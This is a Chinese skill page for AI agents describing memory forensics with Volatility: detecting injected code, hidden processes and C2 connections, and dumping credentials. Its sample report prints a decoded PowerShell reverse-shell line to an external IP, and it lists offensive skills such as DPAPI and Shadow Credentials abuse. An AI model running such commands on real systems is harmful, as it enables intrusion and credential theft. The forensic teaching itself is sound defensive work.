Communitygithub.com

使用Volatility分析内存转储

分析被攻陷系统的RAM内存转储,利用Volatility框架识别恶意进程、检测代码注入并提取取证工件。

使用Volatility分析内存转储 是什么?

该技能为安全分析师和事件响应人员提供了一套完整的内存取证工作流,使用Volatility框架对受损系统的RAM转储进行深度分析。支持Windows、Linux和macOS平台,能够检测无文件型恶意软件、进程注入、进程镂空以及rootkit活动,并提取加密密钥、密码哈希和网络连接信息。工作流涵盖从识别内存转储操作系统版本、枚举隐藏进程、检测代码注入、分析网络连接、提取凭证,到使用YARA规则扫描已知恶意软件签名和生成时间线报告的七个步骤。技能详细说明了关键概念(如VAD、EPROCESS、Pool Tag扫描)、常见应用场景(如检测清理了磁盘工件的无文件恶意软件)、以及输出格式示例。旨在帮助分析人员高效地在内存中寻找磁盘取证工具无法捕获的威胁,并提供可操作的IoC(入侵指标)。

兼容平台~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/analyzing-memory-dumps-with-volatility

在你喜欢的 AI 中提问

打开一个已预加载此 Agent Skill 的新对话。

文档

使用Volatility分析内存转储 是做什么的?

何时使用

  • 已捕获受损系统的RAM,需要法证分析以寻找恶意软件工件
  • 检测仅存在于内存中、无持久性磁盘工件的无文件型恶意软件
  • 从进程内存中提取加密密钥、密码或解密后的配置信息
  • 识别受损系统中的进程注入、DLL注入或进程镂空
  • 分析标准磁盘取证工具无法检测的Rootkit活动

请勿用于磁盘镜像分析;请使用Autopsy、FTK或Sleuth Kit进行磁盘取证。

前提条件

  • 已安装Volatility 3(pip install volatility3)并包含目标操作系统的符号表
  • 已从目标系统获取内存转储文件(使用WinPmem、LiME或DumpIt)
  • 了解源操作系统版本以选择正确的profile/符号
  • 充足的磁盘空间(内存转储大小通常为4-64 GB)
  • 用于扫描内存中已知恶意软件签名的YARA规则
  • 用于从内存区域提取可读字符串的Strings工具

工作流

步骤1:识别内存转储的操作系统profile

从内存转储中确定操作系统和版本:

# Volatility 3:自动操作系统检测
vol3 -f memory.dmp windows.info

# 列出可用插件
vol3 -f memory.dmp --help

# 如果需要符号,从以下地址下载:
# https://downloads.volatilityfoundation.org/volatility3/symbols/

# 对于Volatility 2(旧版):
vol2 -f memory.dmp imageinfo
vol2 -f memory.dmp kdbgscan

步骤2:枚举正在运行的进程

列出所有进程并识别可疑条目:

# 列出所有进程
vol3 -f memory.dmp windows.pslist

# 进程树(父子关系)
vol3 -f memory.dmp windows.pstree

# 扫描隐藏/未链接的进程(Rootkit检测)
vol3 -f memory.dmp windows.psscan

# 对比pslist与psscan以发现隐藏进程
# 存在于psscan但不在pslist中的进程可能被Rootkit隐藏

# 检查进程镂空
vol3 -f memory.dmp windows.pslist --dump
# 然后验证转储的EXE是否与磁盘上的预期二进制文件匹配
可疑进程指示:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━
- svchost.exe并非由services.exe生成(错误的父进程)
- csrss.exe/lsass.exe具有异常的父进程
- 存在多个lsass.exe实例(应只有一个)
- 进程名称拼写错误(如scvhost.exe、lssas.exe)
- cmd.exe或powershell.exe由WINWORD.EXE或浏览器生成
- 进程从非标准路径运行(%TEMP%、%APPDATA%)
- 无父进程的进程(孤儿进程——父进程已终止)

步骤3:检测恶意代码注入

扫描注入代码和进程镂空:

# 检测进程中的注入代码(malfind)
vol3 -f memory.dmp windows.malfind

# Malfind查找:
# - 具有PAGE_EXECUTE_READWRITE保护的内存区域
# - 包含PE头(MZ/PE签名)的内存区域
# - VAD(虚拟地址描述符)异常

# 转储注入的内存区域以供分析
vol3 -f memory.dmp windows.malfind --dump --pid 2184

# 列出每个进程加载的DLL
vol3 -f memory.dmp windows.dlllist --pid 2184

# 通过将映射的镜像与磁盘对比检测镂空进程
vol3 -f memory.dmp windows.hollowfind

# 扫描已加载的驱动程序(潜在的Rootkit驱动程序)
vol3 -f memory.dmp windows.driverscan

# 列出内核模块
vol3 -f memory.dmp windows.modules

步骤4:分析网络连接

提取活跃和已关闭的网络连接:

# 列出所有网络连接(活跃和监听)
vol3 -f memory.dmp windows.netscan

# 输出列:偏移量、协议、本地地址、本地端口、远程地址、远程端口、状态、PID、所有者

# 筛选出到外部IP的已建立连接
vol3 -f memory.dmp windows.netscan | grep ESTABLISHED

# 对于旧版Windows(XP/2003):
vol3 -f memory.dmp windows.netstat

# 将PID与进程列表交叉引用
# 可疑:svchost.exe连接到外部IP的非标准端口
# 可疑:notepad.exe或calc.exe出现网络连接

步骤5:提取工件和凭据

从内存中恢复敏感数据:

# 转储特定PID的进程内存
vol3 -f memory.dmp windows.memmap --dump --pid 2184

# 提取命令行历史
vol3 -f memory.dmp windows.cmdline

# 提取环境变量
vol3 -f memory.dmp windows.envars --pid 2184

# 注册表分析(提取Run键以检测持久化机制)
vol3 -f memory.dmp windows.registry.printkey \
  --key "Software\Microsoft\Windows\CurrentVersion\Run"

# 提取哈希/缓存的凭据
vol3 -f memory.dmp windows.hashdump
vol3 -f memory.dmp windows.cachedump
vol3 -f memory.dmp windows.lsadump

# 提取剪贴板内容
vol3 -f memory.dmp windows.clipboard

# 从内存中提取文件
vol3 -f memory.dmp windows.filescan | grep -i "payload\|malware\|suspicious"
vol3 -f memory.dmp windows.dumpfiles --virtaddr 0xFA8001234560

步骤6:使用YARA规则扫描内存

应用YARA签名以检测内存中的已知恶意软件:

# 使用YARA规则扫描整个内存转储
vol3 -f memory.dmp yarascan.YaraScan --yara-file malware_rules.yar

# 扫描特定进程内存
vol3 -f memory.dmp yarascan.YaraScan --yara-file malware_rules.yar --pid 2184

# 针对常见模式的内置YARA扫描
vol3 -f memory.dmp yarascan.YaraScan --yara-rules "rule FindC2 { strings: \$s1 = \"gate.php\" condition: \$s1 }"

# 扫描加密密钥材料
vol3 -f memory.dmp yarascan.YaraScan --yara-rules "rule AES_Key { strings: \$sbox = { 63 7C 77 7B F2 6B 6F C5 } condition: \$sbox }"

步骤7:时间线和报告生成

创建分析时间线并汇总发现:

# 生成综合时间线
vol3 -f memory.dmp timeliner.Timeliner --output-file timeline.csv

# 时间线包括:
# - 进程创建/退出时间
# - 网络连接时间戳
# - 注册表修改时间
# - 文件访问时间

# 导出进程列表用于报告
vol3 -f memory.dmp windows.pslist --output csv > processes.csv

# 导出网络连接
vol3 -f memory.dmp windows.netscan --output csv > network.csv

关键概念

术语定义
内存取证分析易失性内存(RAM)的内容,以识别可能不存在于磁盘上的运行进程、网络连接和内存工件
进程镂空一种恶意软件技术:以挂起状态创建合法进程,用恶意代码替换其内存,然后恢复执行
MalfindVolatility插件,通过识别具有可执行权限且包含PE头的非映像VAD内存区域来检测注入代码
VAD(虚拟地址描述符)Windows内核结构,跟踪分配给进程的内存区域;VAD异常表示注入或镂空
EPROCESSWindows内核结构,代表一个进程;Rootkit会取消EPROCESS条目的链接以隐藏进程,使其不被标准工具发现
Pool Tag扫描一种内存取证技术,扫描内核对象池标签以发现对象(进程、文件、连接),即使它们已被取消链接
无文件恶意软件完全在内存中运行而不在磁盘上创建文件的恶意软件;只能通过内存取证检测

工具与系统

  • Volatility 3:开源内存取证框架,支持Windows、Linux和macOS内存分析,采用插件架构
  • WinPmem:适用于Windows系统的内存采集工具,可创建原始内存转储以供离线分析
  • LiME(Linux Memory Extractor):用于捕获Linux系统内存转储的可加载内核模块
  • Rekall:备选内存取证框架,具有一些独特的分析能力(已停止维护但仍有用)
  • MemProcFS:内存进程文件系统,允许将内存转储挂载为文件系统,便于直观分析

常见场景

场景:EDR告警后检测无文件恶意软件

背景:EDR检测到可疑的PowerShell活动,但威胁行为者已清理磁盘工件。在系统重启前捕获了内存转储。分析需要识别恶意软件、其持久化机制以及任何横向移动。

方法:

  1. 运行 windows.pstree 识别进程链(哪个进程生成了PowerShell)
  2. 运行 windows.malfind 检测正在运行进程中的注入代码
  3. 转储可疑进程内存并提取字符串以获取C2 URL
  4. 运行 windows.netscan 识别来自受损进程的网络连接
  5. 运行 windows.cmdline 查看PowerShell执行了哪些命令
  6. 使用YARA规则在转储的进程内存中扫描已知恶意软件家族
  7. 使用 hashdump 和 lsadump 提取凭据以评估横向移动风险

陷阱:

  • 对操作系统版本使用了错误的符号表(导致插件失败或结果不正确)
  • 没有对比 pslist 与 psscan 的输出(遗漏了被Rootkit隐藏的进程)
  • 忽略了已被注入的合法进程(应关注malfind结果,而不仅仅是进程名称)
  • 在得出分析结论前未提取完整进程内存(进程转储中的字符串可能揭示额外的IoC)

输出格式

内存取证分析报告
===================================
转储文件:        memory.dmp
转储大小:        16 GB
操作系统版本:     Windows 10 21H2 (Build 19044)
捕获工具:        WinPmem 4.0
捕获时间:        2025-09-15 14:35:00 UTC

可疑进程
PID   PPID  名称               路径                                      异常
2184  1052  svchost.exe       C:\Users\Admin\AppData\Temp\svchost.exe  路径错误
4012  2184  powershell.exe    C:\Windows\System32\powershell.exe      是伪造svchost的子进程
3456  4012  cmd.exe           C:\Windows\System32\cmd.exe             由PowerShell生成

检测到代码注入(malfind)
PID 852 (explorer.exe):
  地址:0x00400000  大小:98304  保护属性:PAGE_EXECUTE_READWRITE
  头部:MZ(检测到嵌入式PE)
  转储文件的SHA-256:abc123def456...

网络连接
PID   进程            本地              远程                 状态
2184  svchost.exe     10.1.5.42:49152   185.220.101.42:443   ESTABLISHED
4012  powershell.exe  10.1.5.42:49200   91.215.85.17:8080    ESTABLISHED

提取的凭据
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0

命令行历史
PID 4012:powershell.exe -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0AA==
  解码后:$client = New-Object System.Net.Sockets.TCPClient("185.220.101.42",443)

YARA匹配
PID 2184:规则 CobaltStrike_Beacon { 在0x00401200处匹配 }

时间线
14:10:00  svchost.exe (PID 2184) 从 C:\Users\Admin\AppData\Temp\ 创建
14:10:05  与 185.220.101.42:443 建立网络连接
14:12:30  powershell.exe (PID 4012) 由 svchost.exe 生成
14:15:00  检测到 explorer.exe (PID 852) 中被注入代码
14:20:00  从LSASS进程转储凭据

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

abusing-dpapi-for-credential-access

Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket

abusing-shadow-credentials-for-privesc

Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target

achieving-cmmc-level-2-compliance

>-

acquiring-disk-image-with-dd-and-dcfldd

Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.

analyzing-active-directory-acl-abuse

Detect dangerous ACL misconfigurations in Active Directory using ldap3

analyzing-android-malware-with-apktool

Perform static analysis of Android APK malware using apktool for resource decompilation, jadx for Java source recovery, and androguard for manifest inspection, dangerous permission-combination detection, and identification of obfuscated code, dynamic code loading, and reflection-based API calls. Use to statically triage a suspicious APK without executing it or to build mobile malware detection rules.

analyzing-api-gateway-access-logs

Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect

analyzing-apt-group-with-mitre-navigator

Query ATT&CK data with attackcti, mitreattack-python, and stix2, then build MITRE ATT&CK Navigator layers and multi-layer heatmap overlays mapping one or more APT groups

analyzing-azure-activity-logs-for-threats

Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query

analyzing-bootkit-and-rootkit-samples

Analyzes bootkit and advanced rootkit malware infecting the Master

analyzing-browser-forensics-with-hindsight

Parse Chromium-based browser databases with Hindsight to extract and correlate browsing history, downloads, cookies, cached content, autofill data, saved passwords, and extensions from Chrome, Edge, Brave, Opera, and Vivaldi into a unified timeline (XLSX, JSON, or SQLite output). Use during incident response, insider-threat investigations, or criminal cases when you need to reconstruct a user

analyzing-campaign-attribution-evidence

Systematically evaluate cyber-campaign evidence to attribute an operation to a threat actor, using the Diamond Model and Analysis of Competing Hypotheses (ACH) to weigh infrastructure overlaps, TTP consistency, malware code similarity, and timing/language artifacts into confidence-weighted attribution assessments. Use when an incident investigation needs a defensible attribution confidence level.

analyzing-certificate-transparency-for-phishing

Monitor Certificate Transparency logs using crt.sh and Certstream to

analyzing-cloud-storage-access-patterns

Detect abnormal access in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics for after-hours bulk downloads, new-IP access, and API-call spikes (e.g. GetObject) via statistical baselines and time-series anomaly detection. Use when investigating suspected cloud data exfiltration or building related detection rules.

analyzing-cobalt-strike-beacon-configuration

Extract and analyze Cobalt Strike beacon configuration from PE files

analyzing-cobaltstrike-malleable-c2-profiles

Parse and analyze Cobalt Strike Malleable C2 profiles with dissect.cobaltstrike (profiles and beacon-payload configs) and pyMalleableC2 (AST parsing) to extract HTTP/DNS transforms, URIs, headers, sleep/jitter, and injection behavior, then generate network detection signatures. Use when reverse-engineering a captured malleable profile or building detections against Cobalt Strike Beacon traffic.

analyzing-command-and-control-communication

Analyzes malware C2 communication over HTTP, HTTPS, DNS, and custom

analyzing-cyber-kill-chain

Analyzes intrusion activity against the Lockheed Martin Cyber Kill Chain

analyzing-disk-image-with-autopsy

Perform comprehensive forensic analysis of raw (dd), E01, or AFF disk images with Autopsy and The Sleuth Kit, recovering deleted files, examining metadata and embedded artifacts, keyword searching, and building investigation timelines with visual reports. Use for structured analysis of a forensic disk image or when stakeholders need visual reports from evidence.

analyzing-dns-logs-for-exfiltration

Analyzes DNS query logs to detect data exfiltration via DNS tunneling,

相关技能